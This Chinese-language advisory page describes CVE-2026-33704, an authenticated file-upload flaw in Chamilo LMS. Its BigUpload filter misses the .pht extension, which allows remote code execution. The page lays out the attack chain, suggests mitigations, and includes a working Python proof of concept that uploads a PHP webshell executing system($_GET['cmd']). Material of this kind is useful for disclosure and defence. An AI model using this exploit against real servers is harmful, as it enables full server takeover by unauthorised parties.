IPBUF安全漏洞报告
English
CVE-2026-33704 CVSS 7.1 高危

Chamilo LMS BigUpload远程代码执行漏洞 (CVE-2026-33704)

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-33704
漏洞类型
远程代码执行
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Chamilo LMS

相关标签

RCE远程代码执行文件上传Chamilo LMSApacheCVE-2026-33704

漏洞概述

Chamilo LMS是一款学习管理系统。在1.11.38版本之前,系统存在严重的安全漏洞。任何经过身份验证的用户(包括学生)均可利用BigUpload端点,通过构造特定的请求参数,向服务器写入任意文件内容。由于系统仅过滤了.php扩展名但未过滤.pht扩展名,在特定Apache配置下,攻击者可上传并执行恶意PHP代码,导致服务器被完全控制。

技术细节

该漏洞源于Chamilo LMS在处理文件上传时的逻辑缺陷。具体而言,系统提供的BigUpload端点允许经过身份验证的用户通过HTTP POST请求上传文件。该接口通过请求参数`key`指定文件名,而请求的原始主体直接作为文件内容存储。尽管开发人员实施了安全措施以防止直接上传PHP文件,将`.php`扩展名重命名为`.phps`,但该过滤机制并不完善。攻击者可以利用`.pht`扩展名绕过此限制,因为在许多默认或常见配置的Apache Web服务器中,`.pht`被配置为可由PHP处理器解析。因此,攻击者只需构造一个包含恶意PHP Webshell的POST请求,并将文件名后缀设为`.pht`,即可成功写入恶意文件。一旦文件被写入Web目录,攻击者通过浏览器访问该文件,即可触发代码执行,从而在服务器上执行任意系统命令,完全控制受影响的服务器。

攻击链分析

STEP 1
1. 获取凭证
攻击者注册或获取一个低权限账户(如学生账户)的登录凭证。
STEP 2
2. 构造上传请求
攻击者向BigUpload端点发送POST请求,将`key`参数设置为恶意文件名(如shell.pht),并在请求体中填充PHP恶意代码。
STEP 3
3. 绕过过滤上传
服务器接收请求,由于`.pht`扩展名未被过滤,文件被成功写入服务器磁盘。
STEP 4
4. 触发代码执行
攻击者通过浏览器访问上传的`.pht`文件,Apache服务器将其解析为PHP脚本并执行,从而获取服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit(target_url, session_cookie): # The vulnerable endpoint upload_url = f"{target_url}/main/inc/lib/javascript/bigupload/inc/bigUpload.php" # PHP code to execute (e.g., a simple webshell) # 'system' function executes the 'cmd' parameter payload = "<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>" # Prepare the data # 'key' parameter is used as the filename # Using .pht bypasses the .php filter files = { 'key': (None, 'exploit.pht'), 'file': (None, payload) } # Send the POST request with the authenticated session headers = { 'Cookie': f"PHPSESSID={session_cookie}" } response = requests.post(upload_url, files=files, headers=headers) if response.status_code == 200: print("[+] File uploaded successfully.") print(f"[+] Access your shell at: {target_url}/main/upload/exploit.pht?cmd=whoami") else: print("[-] Upload failed.") # Example usage # exploit("http://localhost", "valid_session_id")

影响范围

Chamilo LMS < 1.11.38

防御指南

临时缓解措施
若无法立即升级,建议通过Web服务器配置(如Apache的.htaccess或Nginx配置)禁止对上传目录中.pht及.phtml等扩展名文件的PHP解析,或部署Web应用防火墙(WAF)拦截针对BigUpload接口的异常文件上传请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表